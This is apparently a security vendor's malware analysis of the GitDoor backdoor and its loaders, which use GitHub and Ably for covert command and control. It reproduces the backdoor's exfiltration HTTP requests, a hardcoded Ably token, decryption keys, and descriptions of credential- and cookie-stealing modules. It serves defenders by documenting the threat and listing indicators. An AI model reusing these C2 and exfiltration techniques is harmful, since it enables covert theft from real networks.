Introduction
In early 2026, we identified a new, active intrusion campaign that we have named Operation ShadowCloud. The threat actor behind it is abusing the legitimate MeshAgent utility to drop two brand-new backdoors. These implants hide their command‑and‑control (C2) traffic behind cloud services Microsoft SharePoint, GitHub, and Ably, allowing the implants to blend in with normal traffic, effectively evading network-based detections.
We’ve called the implants GraphDoor and GitDoor, reflecting the cloud platform they use for C2. While their C2 protocols differ, the two backdoors share key capabilities:
- On‑demand plug-in download: fetching additional modules as needed
- In‑memory shellcode injection: loading malicious code directly into memory to extend functionality without touching the disk
The threat actor specifically deploys a modified Erfrp client and Ably messaging service-based plug-ins to proxy traffic between infected systems and C2 servers.
In addition to the plug-ins, we uncovered several shellcode families, most of them delivered as COFF (Common Object File Format) binaries. Our analysis reveals a sophisticated, modular toolset actively maintained and updated with multiple observed backdoor versions in the wild. We found victims in Asia and Africa, primarily within the government sector.
In a recent brief, Sophos touched on a fragment of this campaign. In this two‑part blog, we dive deeper, detailing the backdoors’ C2 communication methods, the assortment of shellcode families and plug-ins that the threat actor delivers to the compromised machines, and the infrastructure we observed supporting the operation. We also highlight the attribution clues:
- This article (Part 1 of the story) deals with the initial infection vector, the GitDoor backdoor, and various shellcode families the threat actor drops onto target machines.
- Part 2 provides details on the GraphDoor backdoor and the plug-in suite (Keylogging, Process Listing, Screen Capturing, Modified Erfrp Proxy, and Ably Channel Proxy) and examines the evidence that points to links with Chinese‑speaking threat groups.
Initial infection
During our investigation, we uncovered two separate instances of the MeshCentral Agent (MD5: 74b025084026d8d9a64661bf995d835b), which were launched inside a Taiwanese organization. MeshCentral is a web‑based tool that provides remote‑desktop control, command‑line access, and file‑management capabilities.
The exact entry point that let the attackers install the agent is unknown, but evidence points to the reuse of a prior infection already present on the network.
The MeshCentral Agent was hard‑coded to reach a remote server at wss://27.102.66[.]162:443/agent.ashx. Once the C2 session was established, the adversary used the agent to drop three additional items on the endpoint:
- A legitimate binary used for DLL sideloading
- A malicious loader DLL responsible for unpacking and executing further code
- An encrypted file containing the core payload
|
1 2 3 4 5 6 7 8 9 |
1st Instance C:\windows\system32\start.exe: legitimate Sandboxie Start binary C:\windows\system32\sbiedll.dll: malicious loader C:\windows\system32\config.ini: encrypted backdoor file 2nd Instance C:\Windows\system32\dts\pc\apo4x\dtsapo4service.exe: legitimate Python application binary C:\Windows\System32\dts\pc\apo4x\python39.dll: malicious loader C:\Windows\system32\dts\pc\apo4x\config.ini: encrypted backdoor file |
The threat actor used trusted executables to side-load malicious loader DLLs. We identified the following loaders used in these attacks: jli.dll, SbieDll.dll, python39.dll, WINMM.dll, and libcef.dll, which were dropped onto the host and then implicitly loaded by the respective legitimate binaries: the OpenJDK platform binary (javaw.exe, MD5: 8b78ef5609d942036e93721d75bd1f29), Sandboxie Start (start.exe, MD5: be739a7036dc8e2ee8608fba13c8c3a4), a Python application (pythonw.exe, MD5: 84802caf2579cfe7a38f079a64a3cd22), and the Sysinternals Screen Magnifier tool (zoomit.exe, MD5: d955d03104f988582cbd2967177693d3), which the attackers started as a Windows service.
Loaders
We discovered two distinct loaders, each using a different method to decode the encrypted backdoor payload. In both cases, the loader first decrypts the payload and then injects the resulting code into the current process’s memory. Loader (Type 1) employs a hybrid scheme: first running the data through an RC4 stream cipher and then applying an XOR mask, while Loader (Type 2) simplifies the process by using a straight XOR operation alone.
Type 1 Loader (MD5 32151547d912488ac5242731057170a3)
The loader jli.dll reads the file config.ini (MD5: 3896d44bc6d517291c60ee3f70543a31) located next to it using the native NtCreateFile/NtReadFile calls, then it transforms the obtained data through the following steps to generate the final backdoor:
- Base64‑decodes the data with a custom character set (
ABCDEFGHIJ01234ZYXWVUTSRQPONMLKzyxwvutsrqponmlkjihgfedcba98765/+) - Decrypts the first layer of encryption with a 16-byte RC4 key that varies across samples
- Decrypts the second layer of encryption with a 16‑byte XOR key, which is also sample‑specific
- Transforms the decrypted backdoor bytes by abusing the
RtlEthernetAddressToStringAandRtlEthernetStringToAddressAAPIs to evade defenses. First,RtlEthernetAddressToStringAis used to convert the decrypted backdoor bytes into an Ethernet MAC‑address string.
Then RtlEthernetStringToAddressA is used to translate a human‑readable MAC address string into a six‑byte binary format, and the resulting bytes are written to memory newly allocated via an AllocADsMem API call.
Finally, the loader changes the memory protection to PAGE_EXECUTE_READWRITE using VirtualProtect and jumps to the MZ header, which acts as a trampoline into bootstrap code. Since the decrypted backdoor executable is already in memory‑mapped format, the bootstrap code simply performs relocation, resolves imports, and, depending on whether the payload is an executable or a DLL, invokes its entry point. The bootstrap code dynamically resolves API addresses and uses CRC32 to compute a hash of each API name. Both the import library name and the associated API name are XOR‑decrypted with a hardcoded 7‑byte key \x11\xAF\xCE\xDC\xA6\x12\x05 before resolution.
Another similar loader jli.dll (MD5: e9d4081fac4a5111e6856f333d490439) has a different approach to API resolution. It reads an encrypted blob from config.ini (MD5: b930fb3ab14fe45b378d5acfa6e0a763), which decrypts to bootstrap code together with a backdoor executable (GraphDoor MD5: 14ec33ea808e697870d00c5e434c2952), which can be either an EXE or a DLL. The bootstrap code resolves the required APIs using an FNV‑1 hash. In the API hashing function, the FNV_offset_basis value changes, but the FNV_prime constant always remains 0x1000193. Once the necessary functions are resolved, the bootstrap code creates a file-mapping object called Local\sm%lu (where %lu is the current PID). Next, it reflectively loads the backdoor into its own process space and jumps to the backdoor’s entry point. If the payload is a DLL and exports functions, each export name is hashed with FNV‑1 and compared against the hard‑coded value 0x974C9EB; a match triggers that export. For cleanup, the bootstrap invokes the DLL’s DllMain with DLL_PROCESS_DETACH, unloads any loaded libraries via FreeLibrary, and releases the allocated memory with VirtualFree.
Type 2 Loader (MD5 e63ec733393e4e7e3424cbff918003a3)
This loader is internally named SbieDll_st.dll. Before attempting to prepare and execute the backdoors, it performs a few checks on the infected machine. It first searches for the byte pattern \x48\x83\xC4\x68\xC3, which disassembles into the instructions shown below, inside KERNEL32.DLL and KernelBase.dll.
If the pattern is found, the code first installs a vectored exception handler and clears the hardware breakpoint by zeroing the CONTEXT.DR7 register. It then verifies that the current process’s name matches a hard‑coded value. After passing these checks, it reads an encrypted blob from config.ini (MD5: 6a54f8008ee659b6923abf5dba2b2cc1) located in the module’s directory. Then it transforms the obtained data through the following steps:
- Base64‑decoding the data
- XOR‑decrypting it with a hardcoded 16‑byte key that changes per sample
The resulting data is a backdoor executable (GitDoor MD5: 552f0a9cc5fc3755721fa49be05e8035). The loader allocates memory in the current process, copies the decrypted backdoor code into that region, and starts a new thread at the MZ header, which acts as a trampoline into a bootstrap routine identical to that of the Type 1 loader. Before allocating memory and executing the backdoor code, the loader checks the OS version; on Windows 8 (6.2) or newer, it uses the native APIs NtAllocateVirtualMemory, RtlMoveMemory, and NtCreateThreadEx for memory allocation and code execution, while on older systems it falls back to the standard APIs VirtualAlloc, RtlMoveMemory, and CreateThread.
Backdoors
Both GitDoor and GraphDoor incorporate several encryption and obfuscation techniques, including Control Flow Flattening, which obscures their genuine execution flow. They also make heavy use of indirect calls: most routines are encapsulated in several layers of helper functions that invoke one another in sequence, creating extra levels of indirection. The core payload lives deep inside these nested wrappers, which forces analysts to follow each wrapper to understand the real backdoor behavior, greatly hindering static analysis.
Execution is split across multiple threaded components. Every thread is an instance of a Client class in the ably namespace. Both the class and namespace identifiers stem from mangled C++ thread function names, and the accompanying lambda names expose the precise malicious capabilities each thread implements.
GitDoor (MD5 552f0a9cc5fc3755721fa49be05e8035)
The backdoor first decrypts every element required to contact the GitHub C2 – its repository URL, the personal access token, the User‑Agent string, and the necessary HTTP headers. The backdoor utilizes two distinct repositories: one serves as a drop point for receiving command payloads, and the other is used to upload the results of those commands.
/repos/LatonyCharnleyaW/Havo: download the command data and plug-ins/repos/LatonyCharnleyaW/Trix: upload the victim’s information and the command result
The User-Agent string is:
|
1 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 |
The backdoor decrypts the hard‑coded configuration details, appends them to the victim’s collected system information, and then uploads the combined data to the GitHub repository as well as the Ably cloud – the detailed preparation and upload process is described below.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Hardcoded Details "type":"serv" "client_version":"1.1.6" "dhj_exe":"start.exe" "execution_method":"1" "is_need_lock":"false" Victim Information Public IP Internal IP Domain Username Hostname Current working directory Backdoor process name and process ID Windows version CPU type Running process name |
The backdoor builds a random eight‑character identifier that uniquely tags the compromised host and creates a fresh GUID to mark the active communication session. Every HTTP call includes a newly generated random string inserted into the X‑CSRF‑TOKEN header. The malware then issues a POST request to GitHub, using the GitHub API to open a new issue in the Trix repository belonging to the LatonyCharnleyaW user/organization. This request creates a new GitHub issue with the Title and Body values shown below. The malware extracts the number field from the JSON response, which represents the issue number and will be used in subsequent requests.
Title: “problem [GUID]”.Body: “code [victim unique code]”
|
1 2 3 4 5 6 7 8 |
POST /repos/LatonyCharnleyaW/Trix/issues Host: api.github.com Authorization: token %github_pat_token% Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% Content-Type: application/json {"body":"code %victim_unique_code%","title":"problem %generated GUID%"} |
The backdoor also connects to Ably at rest.ably.io using a hardcoded authorization token. This token is Base64‑encoded, and after decoding, it reveals the Ably API key, which contains the following information:
- App ID: identifies your specific Ably application
- Key ID: identifies the specific key within that app
- Key Secret: the private secret used for signing requests
The backdoor then builds a unique filename in the format main.%victim_unique_code%.js.map, where %victim_unique_code% corresponds to the value reported when the GitHub issue is created. This file holds the harvested victim system information in both the Ably cloud and the GitHub repository. Prior to the upload, the victim system information is encrypted with AES‑256‑ECB using a randomly generated key. The ciphertext is Base64‑encoded and wrapped in a JSON object (see the example below).
|
1 |
{"key" : "<%randomly generated AES key%>", "sec" : "<%AES-encrypted and base64-encoded victim system information%>"} |
After that, the entire JSON payload is XOR‑encrypted with the previously built unique filename, Base64‑encoded once more, and finally sent via a POST request to the Ably service and via a PUT request to the GitHub repository.
Below is the POST request that sends the encrypted victim data to the Ably cloud.
|
1 2 3 4 5 6 |
POST /messages Host: rest.ably.io Accept: application/json Authorization: Basic VHVGY3FnLjlId1ZxQTpIVmJEdnUwb1JidG1YQThybE1TVzM1QUJNUjZoOFMxLVMtZnpMVkFYY0dr Content-Type: application/json [{"channels":"data:main.%victim_unique_code%.js.map","messages":{"data":{"content":{%encrypted collected victim system info%},"name":"part-1"}}}] |
After the data is sent to the Ably cloud, the malware queries /channels/comm/messages?limit=50, exposing the channel name comm. This request serves as a status check, pulling any error or success responses. If the response indicates a failure, the malware retries by posting the same payload to /channels/data/messages.
To upload the collected victim system information to the GitHub repository, the backdoor first issues a GET request to /repos/LatonyCharnleyaW/Trix/contents/main.%victim_unique_code%.js.map to see whether the file main.%victim_unique_code%.js.map already exists. If the request returns “not found”, the malware follows up with a PUT request (see the example below) that creates the file in the repository to store the victim’s information.
|
1 2 3 4 5 6 7 8 |
PUT /repos/LatonyCharnleyaW/Trix/contents/main.%victim_unique_code%.js.map Host: api.github.com Authorization: token %github_pat_token% Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% Content-Type: application/json {"content":"%encrypted collected victim system info%","message":"commit from INSOMNIA"} |
Once the victim’s system information is successfully uploaded, or if the file already exists, the malware downloads two plug-ins that perform screen‑capture (scr.ts) and process enumeration (pr.ts).
To download each plug-in, the backdoor first decrypts the plug-in’s filename as well as the corresponding GitHub repository path, then issues a GET request to fetch the encrypted content of the plug-in.
Below are the HTTP requests to download the scr.ts and pr.ts plug-ins.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
GET /repos/LatonyCharnleyaW/Havo/contents/scr.ts Host: api.github.com Authorization: token %github_pat_token% Accept: application/vnd.github.raw+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% GET /repos/LatonyCharnleyaW/Havo/contents/pr.ts Host: api.github.com Authorization: token %github_pat_token% Accept: application/vnd.github.raw+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% |
The plug-in utilizes a custom, two‑stage decryption routine to unpack its payload:
- Stage 1 (AES-256-ECB): the ciphertext is decrypted in 16‑byte blocks using the hard‑coded key:
12345678901234567890123456789012. - Stage 2 (Proprietary Cipher XOR): the output from Stage 1 undergoes a rolling XOR operation using 16‑byte keys. The first block is decrypted using a static initialization key (
\x65\x3c\x40\x16\x3d\x38\x20\xa4\x47\x14\x54\xb4\x37\x5a\x3b\x38). For all subsequent blocks, the routine uses a chaining effect where the key is derived from the ciphertext of the immediately preceding block.
Once decrypted, the resulting bytes constitute the plug-in’s shellcode, which the backdoor loads directly into memory.
After loading the plug-ins, the backdoor sends a POST request to apply the bug label to the newly created issue (identified by its issue number). The request is shown below.
|
1 2 3 4 5 6 7 8 9 10 11 |
POST /repos/LatonyCharnleyaW/Trix/issues/<issue_number>/labels?rd=%random alphanumeric characters% HTTP/1.1 Host: api.github.com Connection: Keep-Alive Content-Type: application/json Accept: application/json Authorization: token %github_pat_token% User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% Content-Length: 18 {"labels":["bug"]} |
If the issue already has the bug label, the backdoor issues a DELETE request to remove that label.
|
1 2 3 4 5 6 7 8 |
DELETE /repos/LatonyCharnleyaW/Trix/issues/<issue_number>/labels/bug?rd=%random alphanumeric characters% HTTP/1.1 Host: api.github.com Connection: Keep-Alive Content-Type: application/json Accept: application/json Authorization: token %github_pat_token% User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% |
The label‑or‑unlabel issue request is always followed by a GET request that pulls the contents of the Havo repository.
|
1 2 3 4 5 6 7 8 |
GET /repos/LatonyCharnleyaW/Havo/contents HTTP/1.1 Host: api.github.com Connection: Keep-Alive Content-Type: application/json Accept: application/json Authorization: token %github_pat_token% User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36 X-CSRF-TOKEN: %random string% |
The backdoor continuously sends both requests – labeling/unlabeling the issue as a bug and fetching the repository contents – until it receives an exit command.
The content retrieval request returns a JSON array that lists filenames together with a number of other details, including the path to download the file. Every file in the list contains command data to be processed. The backdoor extracts the name property to get each filename, then searches the names for the unique victim code string. When it finds a match, it fetches that file via /repos/LatonyCharnleyaW/Havo/contents/<filename> and processes the command data as described in the Command processing section.
Command processing
As described earlier, the command input and its result are stored in separate GitHub repositories. In the analyzed sample, the command input is retrieved from the public Havo repository, while the command result is uploaded to the private Trix repository, which requires a GitHub personal access token for access. The command and its associated data can be retrieved from the GitHub repository by accessing the corresponding files as shown in the table below. The command‑input file follows the naming pattern main.<%victim_unique_code%>.<%random 4‑character string%>.js.<%extension%>, where <%victim_unique_code%> is the identifier reported when a GitHub issue is created, and <%extension%> specifies the command data type: kmap for keylogger data, pmap for proxy data, apmap for Ably proxy data, swp and tmp for file‑manager data, and “no extension” for shellcode data where the filename ends in .js without any extra extension.
| Command type | Example GitHub path |
| Load Shellcode command | /repos/LatonyCharnleyaW/Havo/contents/main.w8i6lyr9.rikh.js |
| Keylogger command | /repos/LatonyCharnleyaW/Havo/contents/main.r256zin8.xuqa.js.kmap |
| Proxy command | /repos/LatonyCharnleyaW/Havo/contents/main.PW7ickVf.ym30.js.pmap |
| Ably proxy command | /repos/LatonyCharnleyaW/Havo/contents/main.w5y2t1qs.n4wq.js.apmap |
| Filemanager command | /repos/LatonyCharnleyaW/Havo/contents/main.hmxjfyrc.q4d0.js.swp |
| Filemanager command | /repos/LatonyCharnleyaW/Havo/contents/main.hmxjfyrc.bmns.js.tmp |
The file content is Base64‑decoded and then XOR‑decrypted with the filename as the XOR key. This yields JSON data in the format shown below, which contains an AES key and command data that is both Base64‑encoded and AES‑encrypted.
|
1 |
{"key" : "<%AES key%>", "sec" : "<%base64-encoded and AES-encrypted command data%>"} |
For each type of command, several commands are available. Below is a description of the supported commands for each command type:
| Command type | Supported commands |
| Filemanager |
|
| Keylogger |
|
| Proxy |
|
| Ably Proxy |
|
| Load Shellcode |
|
Custom shellcodes
Our analysis uncovered several custom shellcodes authored by the threat actor, each designed for a specific function (see the list below). Based on their operational logic, these shellcodes can be grouped into the following broad categories:
| Category | Shellcode modules |
| Process Injection Techniques |
|
| Windows Service Activity |
|
| File System Activity |
|
| Network Activity |
|
| Process Activity |
|
| Command Shell Activity |
|
| Scheduled Task Activity |
|
| Registry Activity | Registry CLI:
|
| User Info |
|
| Keylogging | Writes keystrokes to a file at the following path: %APPDATA%\Microsoft\SystemCertificates\Cache\logs.dat |
| Browser Cookie Stealer | Uses CookieKatz to dump cookies from Chrome, Edge, or Msedgewebview2 directly from the process memory |
| Credential Dumping | Mimikatz: the tool is named imzimzgo 2.2.0 x64. It uses the following arguments:
|
| Screenshot | Captures screenshots of either the entire screen or a specific window identified by its PID |
| WhatsAppKey | Extracts WhatsApp’s database decryption key. The module has the following PDB path: C:\src\Dll1\WhatsAppCS\x64\Release\WhatKeyCPP.pdb |
| PetitPotam | Abuses EFSRPC to force a target to initiate NTLM authentication to an attacker-controlled destination. It accepts two parameters: <EFSRPC operation> and <executable_path>, and performs the operations described below.
|
| Misc | ShowLastActiveTime: displays the last time a user was active (mouse movement, keyboard input) and calculates how long the system has been idleHexToBytes: converts a hexadecimal string into its binary byte representation |
The command response is wrapped in a JSON object (see the example). The actual data appears in the res property, while the result_type field indicates what kind of output it is. Accepted values for result_type are: keylogger_msg, keylogger_status, keylogger_autoStartUp_status, proxy_info, proxy_status, ablyProxy_info, ablyProxy_status, scanDir, loadDrives, uploadFile, downloadFile, and command_result.
|
1 |
{"guid":"2l0p5io1-gn95-y896-aqlx-idgcacgft7us","randomnum":"iq02spzcmt","res":{%command result%},"result_type":"%command type%","type":"serv"} |
The JSON object is first encrypted with AES‑256‑ECB using a randomly generated key, then encoded in Base64. That ciphertext is subsequently XOR‑encrypted with the target filename, Base64‑encoded once more, and finally uploaded to a GitHub repository used to store victim information.
|
1 |
{"key" : "<%randomly generated AES key%>", "sec" : "<%AES-encrypted and base64-encoded command output%>"} |
The name of the file used in the XOR encryption also determines where the data ends up in the GitHub repository. Filenames follow this scheme: main.%victim_unique_code%.%random_4_char%.js.%ext%, where %victim_unique_code% is the identifier returned when the malware opens a GitHub issue, and %ext% indicates the type of payload stored in the file and can be one of the following: kmap for keylogger output, pmap for proxy output, apmap for Ably proxy output, tmp for filemanager command outputs, or “no extension” for shellcode output, which means that the filename ends in .js without any extra extension. Examples are shown below.
| GitHub path | Output Type |
| /repos/LatonyCharnleyaW/Trix/contents/main.wdlwkho0.q94e.js.kmap | Keylogger command output |
| /repos/LatonyCharnleyaW/Trix/contents/main.13g2vvwp.t17e.js.pmap | Proxy command output |
| /repos/LatonyCharnleyaW/Trix/contents/main.w5y2t1qs.1s6b.js.apmap | Ably proxy command output |
| /repos/LatonyCharnleyaW/Trix/contents/main.wqktoqxf.ymlj.js.tmp | Filemanager command output |
| /repos/LatonyCharnleyaW/Trix/contents/main.z3dU7Y5B.sCe7.js | Shellcode output |
GitHub repositories
As elaborately described in this report, the GitDoor backdoor leverages GitHub repositories for uploading and downloading data – a trivial task for C2 operators. The following repositories were discovered to be used in various backdoor samples:
| GitHub user profile | Upload repository | Download repository | Creation date | Email address |
| https://github[.]com/LatonyCharnleyaW | Trix | Havo | (Repository Taken Down) | (Repository Taken Down) |
| https://github[.]com/StevenDFournier | spaceJS | NA | September 3, 2024 | steve**********@outlook.com |
| https://github[.]com/JeneLeo | silverPot | laughbot | March 21, 2025 | Jenevie**********@yahoo.com |
| https://github[.]com/VenoraKlanimU | logdata | appdb | October 20, 2025 | Venora*******@yahoo.com |
| https://github[.]com/AlexandaJazzmynwC | PulseHub | QuantumVault | November 19, 2025 | Alexanda*********@yahoo.com |
| https://github[.]com/FloraineSuvitC | NexaCore | DataFlowX | November 19, 2025 | Floraine******@yahoo.com |
| https://github[.]com/bvgarciajocelynxccZ | DataSphere | CodeForge | December 4, 2025 | bvgarcia**********@yahoo.com |
| https://github[.]com/Eclemensadolph1n | DataCore | alpha | December 4, 2025 | Eclemen********@yahoo.com |
| https://github[.]com/aYulysseserinYtas | Solix | Zephyr | December 5, 2025 | aYulysses********@yahoo.com |
The creation dates for the majority of these GitHub repositories suggest that the threat actor has been preparing the infrastructure of this operation since at least the end of 2024.
Conclusion
In this blog post (part 1), we have reviewed the initial infection vector and various types of loaders observed in this campaign. We also provided technical details of the GitDoor backdoor, its command-and-control communication protocol, and the many shellcode modules it can deliver.
In the next part of the story, we’ll dive deeper into the technical analysis of the GraphDoor backdoor, the plug-ins it uses for keylogging, process listing, and screen capturing, the modified Erfrp proxy and the Ably channel proxy, as well as the recovered C2 addresses. We will also provide technical attribution notes which connect this operation to Chinese-speaking threat actors.
Indicators of Compromise
MeshAgent
74b025084026d8d9a64661bf995d835b
Type 1 Loader
32151547d912488ac5242731057170a3
e9d4081fac4a5111e6856f333d490439
Type 2 Loader
e63ec733393e4e7e3424cbff918003a3
Encrypted Payload
3896d44bc6d517291c60ee3f70543a31
b930fb3ab14fe45b378d5acfa6e0a763
6a54f8008ee659b6923abf5dba2b2cc1
GitDoor
552f0a9cc5fc3755721fa49be05e8035
GraphDoor
14ec33ea808e697870d00c5e434c2952
Legitimate executables
8b78ef5609d942036e93721d75bd1f29 javaw.exe
be739a7036dc8e2ee8608fba13c8c3a4 start.exe
84802caf2579cfe7a38f079a64a3cd22 pythonw.exe
d955d03104f988582cbd2967177693d3 zoomit.exe
MeshAgent C2
Legitimate Cloud Storage
GitHub repositories
hxxps://github[.]com/LatonyCharnleyaW
hxxps://github[.]com/StevenDFournier
hxxps://github[.]com/VenoraKlanimU
hxxps://github[.]com/JeneLeo
hxxps://github[.]com/AlexandaJazzmynwC
hxxps://github[.]com/FloraineSuvitC
hxxps://github[.]com/bvgarciajocelynxccZ
hxxps://github[.]com/Eclemensadolph1n
hxxps://github[.]com/aYulysseserinYtas





Operation ShadowCloud: cloud service–based backdoors targeting government networks in Asia and Africa. Part 1